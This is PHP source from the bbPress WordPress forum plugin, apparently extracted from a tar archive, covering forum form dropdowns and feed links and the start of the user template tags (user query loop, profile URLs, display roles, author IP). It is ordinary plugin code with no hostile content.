	 *  - select_id: Select id. Defaults to bbp_forum_type
	 *  - tab: Deprecated. Tabindex
	 *  - forum_id: Forum id
	 *  - selected: Override the selected option
	 * @return string HTML select list for selecting forum type
	 */
	function bbp_get_form_forum_type_dropdown( $args = array() ) {

		// Backpat for handling passing of a forum ID as integer
		if ( is_int( $args ) ) {
			$forum_id = (int) $args;
			$args     = array();
		} else {
			$forum_id = 0;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_forum_type',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'forum_id'     => $forum_id,
			'selected'     => false
		), 'forum_type_select' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_forum_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value was passed
			} else {

				// Edit topic
				if ( bbp_is_forum_edit() ) {
					$r['forum_id'] = bbp_get_forum_id( $r['forum_id'] );
					$r['selected'] = bbp_get_forum_type( $r['forum_id'] );

				// New topic
				} else {
					$r['selected'] = bbp_get_public_status_id();
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ) ?>" id="<?php echo esc_attr( $r['select_id'] ) ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_forum_types( $r['forum_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_type_dropdown', ob_get_clean(), $r, $args );
	}

/**
 * Output value forum status dropdown
 *
 * @since 2.1.0 bbPress (r3563)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_forum_status
 *  - tab: Deprecated. Tabindex
 *  - forum_id: Forum id
 *  - selected: Override the selected option
 */
function bbp_form_forum_status_dropdown( $args = array() ) {
	echo bbp_get_form_forum_status_dropdown( $args );
}
	/**
	 * Return the forum status dropdown
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @param $args This function supports these arguments:
	 *  - select_id: Select id. Defaults to bbp_forum_status
	 *  - tab: Deprecated. Tabindex
	 *  - forum_id: Forum id
	 *  - selected: Override the selected option
	 * @return string HTML select list for selecting forum status
	 */
	function bbp_get_form_forum_status_dropdown( $args = array() ) {

		// Backpat for handling passing of a forum ID
		if ( is_int( $args ) ) {
			$forum_id = (int) $args;
			$args     = array();
		} else {
			$forum_id = 0;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_forum_status',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'forum_id'     => $forum_id,
			'selected'     => false
		), 'forum_status_select' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_forum_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value was passed
			} else {

				// Edit topic
				if ( bbp_is_forum_edit() ) {
					$r['forum_id'] = bbp_get_forum_id( $r['forum_id'] );
					$r['selected'] = bbp_get_forum_status( $r['forum_id'] );

				// New topic
				} else {
					$r['selected'] = bbp_get_public_status_id();
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ) ?>" id="<?php echo esc_attr( $r['select_id'] ) ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_forum_statuses( $r['forum_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_status_dropdown', ob_get_clean(), $r, $args );
	}

/**
 * Output value forum visibility dropdown
 *
 * @since 2.1.0 bbPress (r3563)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_forum_visibility
 *  - tab: Deprecated. Tabindex
 *  - forum_id: Forum id
 *  - selected: Override the selected option
 */
function bbp_form_forum_visibility_dropdown( $args = array() ) {
	echo bbp_get_form_forum_visibility_dropdown( $args );
}
	/**
	 * Return the forum visibility dropdown
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @param $args This function supports these arguments:
	 *  - select_id: Select id. Defaults to bbp_forum_visibility
	 *  - tab: Deprecated. Tabindex
	 *  - forum_id: Forum id
	 *  - selected: Override the selected option
	 * @return string HTML select list for selecting forum visibility
	 */
	function bbp_get_form_forum_visibility_dropdown( $args = array() ) {

		// Backpat for handling passing of a forum ID
		if ( is_int( $args ) ) {
			$forum_id = (int) $args;
			$args     = array();
		} else {
			$forum_id = 0;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'select_id'    => 'bbp_forum_visibility',
			'select_class' => 'bbp_dropdown',
			'tab'          => false,
			'forum_id'     => $forum_id,
			'selected'     => false
		), 'forum_type_select' );

		// No specific selected value passed
		if ( empty( $r['selected'] ) ) {

			// Post value is passed
			if ( bbp_is_forum_form_post_request() && isset( $_POST[ $r['select_id'] ] ) ) {
				$r['selected'] = sanitize_key( $_POST[ $r['select_id'] ] );

			// No Post value was passed
			} else {

				// Edit topic
				if ( bbp_is_forum_edit() ) {
					$r['forum_id'] = bbp_get_forum_id( $r['forum_id'] );
					$r['selected'] = bbp_get_forum_visibility( $r['forum_id'] );

				// New topic
				} else {
					$r['selected'] = bbp_get_public_status_id();
				}
			}
		}

		// Start an output buffer, we'll finish it after the select loop
		ob_start(); ?>

		<select name="<?php echo esc_attr( $r['select_id'] ) ?>" id="<?php echo esc_attr( $r['select_id'] ) ?>_select" class="<?php echo esc_attr( $r['select_class'] ); ?>"<?php bbp_tab_index_attribute( $r['tab'] ); ?>>

			<?php foreach ( bbp_get_forum_visibilities( $r['forum_id'] ) as $key => $label ) : ?>

				<option value="<?php echo esc_attr( $key ); ?>"<?php selected( $key, $r['selected'] ); ?>><?php echo esc_html( $label ); ?></option>

			<?php endforeach; ?>

		</select>

		<?php

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_type_dropdown', ob_get_clean(), $r, $args );
	}

/**
 * Verify if a POST request came from a failed forum attempt.
 *
 * Used to avoid cross-site request forgeries when checking posted forum form
 * content.
 *
 * @see bbp_forum_form_fields()
 *
 * @since 2.6.0 bbPress (r5558)
 *
 * @return boolean True if is a post request with valid nonce
 */
function bbp_is_forum_form_post_request() {

	// Bail if not a post request
	if ( ! bbp_is_post_request() ) {
		return false;
	}

	// Creating a new forum
	if ( bbp_verify_nonce_request( 'bbp-new-forum' ) ) {
		return true;
	}

	// Editing an existing forum
	if ( bbp_verify_nonce_request( 'bbp-edit-forum_' . bbp_get_forum_id() ) ) {
		return true;
	}

	return false;
}

/** Feeds *********************************************************************/

/**
 * Output the link for the forum feed
 *
 * @since 2.0.0 bbPress (r3172)
 *
 * @param int $forum_id Optional. Forum ID.
 */
function bbp_forum_topics_feed_link( $forum_id = 0 ) {
	echo bbp_get_forum_topics_feed_link( $forum_id );
}
	/**
	 * Retrieve the link for the forum feed
	 *
	 * @since 2.0.0 bbPress (r3172)
	 *
	 * @param int $forum_id Optional. Forum ID.
	 *
	 * @return string
	 */
	function bbp_get_forum_topics_feed_link( $forum_id = 0 ) {

		// Validate forum id
		$forum_id = bbp_get_forum_id( $forum_id );

		// Forum is valid
		if ( ! empty( $forum_id ) ) {

			// Define local variable(s)
			$link = '';

			// Pretty permalinks
			if ( get_option( 'permalink_structure' ) ) {

				// Forum link
				$url = trailingslashit( bbp_get_forum_permalink( $forum_id ) ) . 'feed';
				$url = user_trailingslashit( $url, 'single_feed' );

			// Unpretty permalinks
			} else {
				$url = home_url( add_query_arg( array(
					'feed'                    => 'rss2',
					bbp_get_forum_post_type() => get_post_field( 'post_name', $forum_id )
				) ) );
			}

			$link = '<a href="' . esc_url( $url ) . '" class="bbp-forum-rss-link topics"><span>' . esc_attr__( 'Topics', 'bbpress' ) . '</span></a>';
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_topics_feed_link', $link, $url, $forum_id );
	}

/**
 * Output the link for the forum replies feed
 *
 * @since 2.0.0 bbPress (r3172)
 *
 * @param int $forum_id Optional. Forum ID.
 */
function bbp_forum_replies_feed_link( $forum_id = 0 ) {
	echo bbp_get_forum_replies_feed_link( $forum_id );
}
	/**
	 * Retrieve the link for the forum replies feed
	 *
	 * @since 2.0.0 bbPress (r3172)
	 *
	 * @param int $forum_id Optional. Forum ID.
	 *
	 * @return string
	 */
	function bbp_get_forum_replies_feed_link( $forum_id = 0 ) {

		// Validate forum id
		$forum_id = bbp_get_forum_id( $forum_id );

		// Forum is valid
		if ( ! empty( $forum_id ) ) {

			// Define local variable(s)
			$link = '';

			// Pretty permalinks
			if ( get_option( 'permalink_structure' ) ) {

				// Forum link
				$url = trailingslashit( bbp_get_forum_permalink( $forum_id ) ) . 'feed';
				$url = user_trailingslashit( $url, 'single_feed' );
				$url = add_query_arg( array( 'type' => 'reply' ), $url );

			// Unpretty permalinks
			} else {
				$url = home_url( add_query_arg( array(
					'type'                    => 'reply',
					'feed'                    => 'rss2',
					bbp_get_forum_post_type() => get_post_field( 'post_name', $forum_id )
				) ) );
			}

			$link = '<a href="' . esc_url( $url ) . '" class="bbp-forum-rss-link replies"><span>' . esc_html__( 'Replies', 'bbpress' ) . '</span></a>';
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_replies_feed_link', $link, $url, $forum_id );
	}
includes/users/template.php000066600000200415151771460310012052 0ustar00<?php

/**
 * bbPress User Template Tags
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** User Loop *****************************************************************/

/**
 * Extension of WP_User_Query to allow easy looping
 *
 * @since 2.6.0 bbPress (r6330)
 */
class BBP_User_Query extends WP_User_Query {

	/**
	 * The amount of users for the current query.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 * @var int
	 */
	public $user_count = 0;

	/**
	 * Index of the current item in the loop.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 * @var int
	 */
	public $current_user = -1;

	/**
	 * Whether the loop has started and the caller is in the loop.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 * @var bool
	 */
	public $in_the_loop = false;

	/**
	 * The current user.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 * @var WP_User
	 */
	public $user;

	/**
	 * PHP5 constructor.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 *
	 * @param null|string|array $query Optional. The query variables.
	 */
	public function __construct( $query = null ) {
		if ( ! empty( $query ) ) {
			parent::__construct( $query );
			$this->user_count = count( $this->results );
		}
	}

	/**
	 * Set up the next user and iterate current user index.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 *
	 * @return WP_User Next user.
	 */
	public function next_user() {
		$this->current_user++;
		$this->user = $this->results[ $this->current_user ];

		return $this->user;
	}

	/**
	 * Sets up the current user.
	 *
	 * Retrieves the next user, sets up the user, sets the 'in the loop'
	 * property to true.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 *
	 * @global WP_User $user
	 */
	public function the_user() {
		$this->in_the_loop = true;

		// loop has just started
		if ( $this->current_user === -1 ) {

			/**
			 * Fires once the loop is started.
			 *
			 * @since 2.6.0 bbPress (r6330)
			 *
			 * @param WP_Query &$this The WP_Query instance (passed by reference).
			 */
			do_action_ref_array( 'loop_start', array( &$this ) );
		}

		$this->next_user();
	}

	/**
	 * Determines whether there are more users available in the loop.
	 *
	 * Calls the {@see 'loop_end'} action when the loop is complete.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 *
	 * @return bool True if users are available, false if end of loop.
	 */
	public function have_users() {
		if ( ( $this->current_user + 1 ) < $this->user_count ) {
			return true;
		} elseif ( ( ( $this->current_user + 1 ) === $this->user_count ) && ( $this->user_count > 0 ) ) {

			/**
			 * Fires once the loop has ended.
			 *
			 * @since 2.6.0 bbPress (r6330)
			 *
			 * @param WP_Query &$this The WP_Query instance (passed by reference).
			 */
			do_action_ref_array( 'loop_end', array( &$this ) );

			// Do some cleaning up after the loop
			$this->rewind_users();
		}

		$this->in_the_loop = false;

		return false;
	}

	/**
	 * Rewind the users and reset user index.
	 *
	 * @since 2.6.0 bbPress (r6330)
	 * @access public
	 */
	public function rewind_users() {
		$this->current_user = -1;

		if ( $this->user_count > 0 ) {
			$this->user = $this->results[ 0 ];
		}
	}
}

/**
 * The main user loop.
 *
 * @since 2.6.0 bbPress (r6330)
 *
 * @param array $args All the arguments supported by {@link WP_User_Query}
 * @return object Multidimensional array of user information
 */
function bbp_has_users( $args = array() ) {

	// Parse arguments with default user query for most circumstances
	$r = bbp_parse_args( $args, array(
		'include'     => array(),
		'orderby'     => 'login',
		'order'       => 'ASC',
		'count_total' => false,
		'fields'      => 'all',
	), 'has_users' );

	// Run the query
	$bbp             = bbpress();
	$bbp->user_query = new BBP_User_Query( $r );

	// Filter & return
	return apply_filters( 'bbp_has_users', $bbp->user_query->have_users(), $bbp->user_query );
}

/**
 * Whether there are more users available in the loop
 *
 * @since 2.6.0 bbPress (r2464)
 *
 * @return object User information
 */
function bbp_users() {
	return bbpress()->user_query->have_users();
}

/**
 * Loads up the current user in the loop
 *
 * @since 2.6.0 bbPress (r2464)
 *
 * @return object User information
 */
function bbp_the_user() {
	return bbpress()->user_query->the_user();
}

/** Users *********************************************************************/

/**
 * Output a validated user id
 *
 * @since 2.0.0 bbPress (r2729)
 *
 * @param int $user_id Optional. User id
 * @param bool $displayed_user_fallback Fallback on displayed user?
 * @param bool $current_user_fallback Fallback on current user?
 */
function bbp_user_id( $user_id = 0, $displayed_user_fallback = true, $current_user_fallback = false ) {
	echo bbp_get_user_id( $user_id, $displayed_user_fallback, $current_user_fallback );
}
	/**
	 * Return a validated user id
	 *
	 * @since 2.0.0 bbPress (r2729)
	 *
	 * @param int $user_id Optional. User id
	 * @param bool $displayed_user_fallback Fallback on displayed user?
	 * @param bool $current_user_fallback Fallback on current user?
	 * @return int Validated user id
	 */
	function bbp_get_user_id( $user_id = 0, $displayed_user_fallback = true, $current_user_fallback = false ) {
		$bbp = bbpress();

		// Easy empty checking
		if ( ! empty( $user_id ) && is_numeric( $user_id ) ) {
			$bbp_user_id = $user_id;

		// Currently inside a user loop
		} elseif ( ! empty( $bbp->user_query->in_the_loop ) && isset( $bbp->user_query->user->ID ) ) {
			$bbp_user_id = $bbp->user_query->user->ID;

		// Currently viewing or editing a user
		} elseif ( ( true === $displayed_user_fallback ) && ! empty( $bbp->displayed_user->ID ) ) {
			$bbp_user_id = $bbp->displayed_user->ID;

		// Maybe fallback on the current_user ID
		} elseif ( ( true === $current_user_fallback ) && ! empty( $bbp->current_user->ID ) ) {
			$bbp_user_id = $bbp->current_user->ID;

		// Failsafe
		} else {
			$bbp_user_id = 0;
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_user_id', (int) $bbp_user_id, $displayed_user_fallback, $current_user_fallback );
	}

/**
 * Output ID of current user
 *
 * @since 2.0.0 bbPress (r2574)
 */
function bbp_current_user_id() {
	echo bbp_get_current_user_id();
}
	/**
	 * Return ID of current user
	 *
	 * @since 2.0.0 bbPress (r2574)
	 *
	 * @return int Current user id
	 */
	function bbp_get_current_user_id() {

		// Filter & return
		return (int) apply_filters( 'bbp_get_current_user_id', bbp_get_user_id( 0, false, true ) );
	}

/**
 * Output ID of displayed user
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_displayed_user_id() {
	echo bbp_get_displayed_user_id();
}
	/**
	 * Return ID of displayed user
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @return int Displayed user id
	 */
	function bbp_get_displayed_user_id() {

		// Filter & return
		return apply_filters( 'bbp_get_displayed_user_id', bbp_get_user_id( 0, true, false ) );
	}

/**
 * Output a sanitized user field value
 *
 * This function relies on the $filter parameter to decide how to sanitize
 * the field value that it finds. Since it uses the WP_User object's magic
 * __get() method, it can also be used to get user_meta values.
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param string $field Field to get
 * @param string $filter How to filter the field value (null|raw|db|display|edit)
 */
function bbp_displayed_user_field( $field = '', $filter = 'display' ) {
	echo bbp_get_displayed_user_field( $field, $filter );
}
	/**
	 * Return a sanitized user field value
	 *
	 * This function relies on the $filter parameter to decide how to sanitize
	 * the field value that it finds. Since it uses the WP_User object's magic
	 * __get() method, it can also be used to get user_meta values.
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param string $field Field to get
	 * @param string $filter How to filter the field value (null|raw|db|display|edit)
	 * @see WP_User::__get() for more on how the value is retrieved
	 * @see sanitize_user_field() for more on how the value is sanitized
	 * @return string|bool Value of the field if it exists, else false
	 */
	function bbp_get_displayed_user_field( $field = '', $filter = 'display' ) {

		// Get the displayed user
		$user         = bbpress()->displayed_user;

		// Juggle the user filter property because we don't want to muck up how
		// other code might interact with this object.
		$old_filter   = $user->filter;
		$user->filter = $filter;

		// Get the field value from the WP_User object. We don't need to perform
		// an isset() because the WP_User::__get() does it for us.
		$value        = $user->$field;

		// Put back the user filter property that was previously juggled above.
		$user->filter = $old_filter;

		// Filter & return
		return apply_filters( 'bbp_get_displayed_user_field', $value, $field, $filter );
	}

/**
 * Output name of current user
 *
 * @since 2.0.0 bbPress (r2574)
 */
function bbp_current_user_name() {
	echo esc_attr( bbp_get_current_user_name() );
}
	/**
	 * Return name of current user
	 *
	 * @since 2.0.0 bbPress (r2574)
	 *
	 * @return string
	 */
	function bbp_get_current_user_name() {

		// Default current user name
		$default = bbp_get_fallback_display_name();

		// Check the $user_identity global
		$current_user_name = is_user_logged_in()
			? bbp_get_global_object( 'user_identity', false, $default )
			: $default;

		// Filter & return
		return apply_filters( 'bbp_get_current_user_name', $current_user_name );
	}

/**
 * Output avatar of current user
 *
 * @since 2.0.0 bbPress (r2574)
 *
 * @param int $size Size of the avatar. Defaults to 40
 */
function bbp_current_user_avatar( $size = 40 ) {
	echo bbp_get_current_user_avatar( $size );
}

	/**
	 * Return avatar of current user
	 *
	 * @since 2.0.0 bbPress (r2574)
	 *
	 * @param int $size Size of the avatar. Defaults to 40
	 * @return string Current user avatar
	 */
	function bbp_get_current_user_avatar( $size = 40 ) {

		$user = bbp_get_current_user_id();
		if ( empty( $user ) ) {
			$user = bbp_get_current_anonymous_user_data( 'email' );
		}

		$avatar = get_avatar( $user, $size );

		// Filter & return
		return apply_filters( 'bbp_get_current_user_avatar', $avatar, $size );
	}

/**
 * Output link to the profile page of a user
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param int $user_id Optional. User id
 */
function bbp_user_profile_link( $user_id = 0 ) {
	echo bbp_get_user_profile_link( $user_id );
}
	/**
	 * Return link to the profile page of a user
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param int $user_id Optional. User id
	 * @return string User profile link
	 */
	function bbp_get_user_profile_link( $user_id = 0 ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$user      = get_userdata( $user_id );
		$user_link = '<a href="' . esc_url( bbp_get_user_profile_url( $user_id ) ) . '">' . esc_html( $user->display_name ) . '</a>';

		// Filter & return
		return apply_filters( 'bbp_get_user_profile_link', $user_link, $user_id );
	}

/**
 * Output a users nicename to the screen
 *
 * @since 2.3.0 bbPress (r4671)
 *
 * @param int $user_id User ID whose nicename to get
 * @param array $args before|after|user_id|force
 */
function bbp_user_nicename( $user_id = 0, $args = array() ) {
	echo bbp_get_user_nicename( $user_id, $args );
}
	/**
	 * Return a users nicename to the screen
	 *
	 * @since 2.3.0 bbPress (r4671)
	 *
	 * @param int $user_id User ID whose nicename to get
	 * @param array $args before|after|user_id|force
	 * @return string User nicename, maybe wrapped in before/after strings
	 */
	function bbp_get_user_nicename( $user_id = 0, $args = array() ) {

		// Bail if no user ID passed
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Parse default arguments
		$r = bbp_parse_args( $args, array(
			'user_id' => $user_id,
			'before'  => '',
			'after'   => '',
			'force'   => ''
		), 'get_user_nicename' );

		// Force the nicename (likely from a previous user query)
		if ( ! empty( $r['force'] ) ) {
			$nicename = (string) $r['force'];

		// Maybe fallback to getting the nicename from user data
		} elseif ( ! empty( $r['user_id'] ) ) {
			$user     = get_userdata( $r['user_id'] );
			$nicename = ! empty( $user )
				? $user->user_nicename
				: '';

		// Maybe fallback to empty string so filter still applies
		} else {
			$nicename = '';
		}

		// Maybe wrap the nicename
		$retval = ! empty( $nicename )
			? $r['before'] . esc_html( $nicename ) . $r['after']
			: '';

		// Filter & return
		return (string) apply_filters( 'bbp_get_user_nicename', $retval, $user_id, $r, $args );
	}

/**
 * Output URL to the profile page of a user
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param int $user_id Optional. User id
 * @param string $user_nicename Optional. User nicename
 */
function bbp_user_profile_url( $user_id = 0, $user_nicename = '' ) {
	echo esc_url( bbp_get_user_profile_url( $user_id, $user_nicename ) );
}
	/**
	 * Return URL to the profile page of a user
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param int $user_id Optional. User id
	 * @param string $user_nicename Optional. User nicename
	 * @return string User profile url
	 */
	function bbp_get_user_profile_url( $user_id = 0, $user_nicename = '' ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_user_profile_url', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Get username if not passed
			if ( empty( $user_nicename ) ) {
				$user_nicename = bbp_get_user_nicename( $user_id );
			}

			// Run through home_url()
			$url = trailingslashit( bbp_get_root_url() . bbp_get_user_slug() ) . $user_nicename;
			$url = user_trailingslashit( $url );
			$url = home_url( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_user_rewrite_id() => $user_id
			), home_url( '/' ) );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_profile_url', $url, $user_id, $user_nicename );
	}

/**
 * Output link to the profile edit page of a user
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param int $user_id Optional. User id
 */
function bbp_user_profile_edit_link( $user_id = 0 ) {
	echo bbp_get_user_profile_edit_link( $user_id );
}
	/**
	 * Return link to the profile edit page of a user
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param int $user_id Optional. User id
	 * @return string User profile edit link
	 */
	function bbp_get_user_profile_edit_link( $user_id = 0 ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$user      = get_userdata( $user_id );
		$edit_link = '<a href="' . esc_url( bbp_get_user_profile_edit_url( $user_id ) ) . '">' . esc_html( $user->display_name ) . '</a>';

		// Filter & return
		return apply_filters( 'bbp_get_user_profile_edit_link', $edit_link, $user_id );
	}

/**
 * Output URL to the profile edit page of a user
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param int $user_id Optional. User id
 * @param string $user_nicename Optional. User nicename
 */
function bbp_user_profile_edit_url( $user_id = 0, $user_nicename = '' ) {
	echo esc_url( bbp_get_user_profile_edit_url( $user_id, $user_nicename ) );
}
	/**
	 * Return URL to the profile edit page of a user
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param int $user_id Optional. User id
	 * @param string $user_nicename Optional. User nicename
	 * @return string
	 */
	function bbp_get_user_profile_edit_url( $user_id = 0, $user_nicename = '' ) {

		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_user_profile_edit_url', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL
		$profile_url = bbp_get_user_profile_url( $user_id, $user_nicename );

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {
			$url = trailingslashit( $profile_url ) . bbp_get_edit_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_edit_rewrite_id() => '1'
			), $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_edit_profile_url', $url, $user_id, $user_nicename );
	}

/**
 * Output a user's main role for display
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @param int $user_id
 */
function bbp_user_display_role( $user_id = 0 ) {
	echo esc_attr( bbp_get_user_display_role( $user_id ) );
}
	/**
	 * Return a user's main role for display
	 *
	 * @since 2.1.0 bbPress (r3860)
	 *
	 * @param int $user_id
	 * @return string
	 */
	function bbp_get_user_display_role( $user_id = 0 ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );

		// User is not registered
		if ( empty( $user_id ) ) {
			$role = esc_html__( 'Guest', 'bbpress' );

		// User is not active
		} elseif ( bbp_is_user_inactive( $user_id ) ) {
			$role = esc_html__( 'Inactive', 'bbpress' );

		// User have a role
		} else {
			$role_id = bbp_get_user_role( $user_id );
			$role    = bbp_get_dynamic_role_name( $role_id );
		}

		// No role found so default to generic "Member"
		if ( empty( $role ) ) {
			$role = esc_html__( 'Member', 'bbpress' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_display_role', $role, $user_id );
	}

/**
 * Output the link to the admin section
 *
 * @since 2.0.0 bbPress (r2827)
 *
 * @param array $args Optional. See {@link bbp_get_admin_link()}
 */
function bbp_admin_link( $args = array() ) {
	echo bbp_get_admin_link( $args );
}
	/**
	 * Return the link to the admin section
	 *
	 * @since 2.0.0 bbPress (r2827)
	 *
	 * @param array $args Optional. This function supports these arguments:
	 *  - text: The text
	 *  - before: Before the lnk
	 *  - after: After the link
	 * @return The link
	 */
	function bbp_get_admin_link( $args = array() ) {

		// Bail if user cannot globally moderate
		if ( ! current_user_can( 'moderate' ) ) {
			return;
		}

		if ( ! empty( $args ) && is_string( $args ) && ( false === strpos( $args, '=' ) ) ) {
			$args = array( 'text' => $args );
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'text'   => esc_html__( 'Admin', 'bbpress' ),
			'before' => '',
			'after'  => ''
		), 'get_admin_link' );

		$retval = $r['before'] . '<a href="' . esc_url( admin_url() ) . '">' . $r['text'] . '</a>' . $r['after'];

		// Filter & return
		return apply_filters( 'bbp_get_admin_link', $retval, $r, $args );
	}

/** User IP *******************************************************************/

/**
 * Output the author IP address of a post
 *
 * @since 2.0.0 bbPress (r3120)
 *
 * @param array $args Optional. If it is an integer, it is used as post id.
 */
function bbp_author_ip( $args = array() ) {
	echo bbp_get_author_ip( $args );
}
	/**
	 * Return the author IP address of a post
	 *
	 * @since 2.0.0 bbPress (r3120)
	 *
	 * @param array $args Optional. If an integer, it is used as reply id.
	 * @return string Author link of reply
	 */
	function bbp_get_author_ip( $args = array() ) {

		// Used as post id
		$post_id = is_numeric( $args ) ? (int) $args : 0;

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'post_id' => $post_id,
			'before'  => '<span class="bbp-author-ip">(',
			'after'   => ')</span>'
		), 'get_author_ip' );

		// Get the author IP meta value
		$author_ip = get_post_meta( $r['post_id'], '_bbp_author_ip', true );
		$author_ip = ! empty( $author_ip )
			? $r['before'] . esc_html( $author_ip ) . $r['after']
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_author_ip', $author_ip, $r, $args );
	}

/** Anonymous Fields **********************************************************/

/**
 * Get the default name that's displayed when a user cannot be identified.
 *
 * This might happen if a user was deleted but their content was retained, or
 * if something went wrong during saving anonymous user data to the database.
 *
 * @since 2.6.0 bbPress (r6561)
 *
 * @param int $object_id For additional context only, usually a post ID
 *
 * @return string
 */
function bbp_get_fallback_display_name( $object_id = 0 ) {
	$name = esc_html__( 'Anonymous', 'bbpress' );

	// Filter & return
	return apply_filters( 'bbp_get_anonymous_name', $name, $object_id );
}

/**
 * Output the author display-name of a topic or reply.
 *
 * Convenience function to ensure proper template functions are called
 * and correct filters are executed. Used primarily to display topic
 * and reply author information in the anonymous form template-part.
 *
 * @since 2.5.0 bbPress (r5119)
 *
 * @param int $post_id
 */
function bbp_author_display_name( $post_id = 0 ) {
	echo esc_attr( bbp_get_author_display_name( $post_id ) );
}

	/**
	 * Return the author display-name of a topic or reply.
	 *
	 * Convenience function to ensure proper template functions are called
	 * and correct filters are executed. Used primarily to display topic
	 * and reply author information in the anonymous form template-part.
	 *
	 * @since 2.5.0 bbPress (r5119)
	 *
	 * @param int $post_id
	 *
	 * @return string The name of the author
	 */
	function bbp_get_author_display_name( $post_id = 0 ) {

		// Define local variable(s)
		$retval = '';

		// Topic edit
		if ( bbp_is_topic_edit() ) {
			$retval = bbp_get_topic_author_display_name( $post_id );

		// Reply edit
		} elseif ( bbp_is_reply_edit() ) {
			$retval = bbp_get_reply_author_display_name( $post_id );

		// Not an edit, so rely on current user cookie data
		} else {
			$retval = bbp_get_current_anonymous_user_data( 'name' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_author_display_name', $retval, $post_id );
	}

/**
 * Output the author email of a topic or reply.
 *
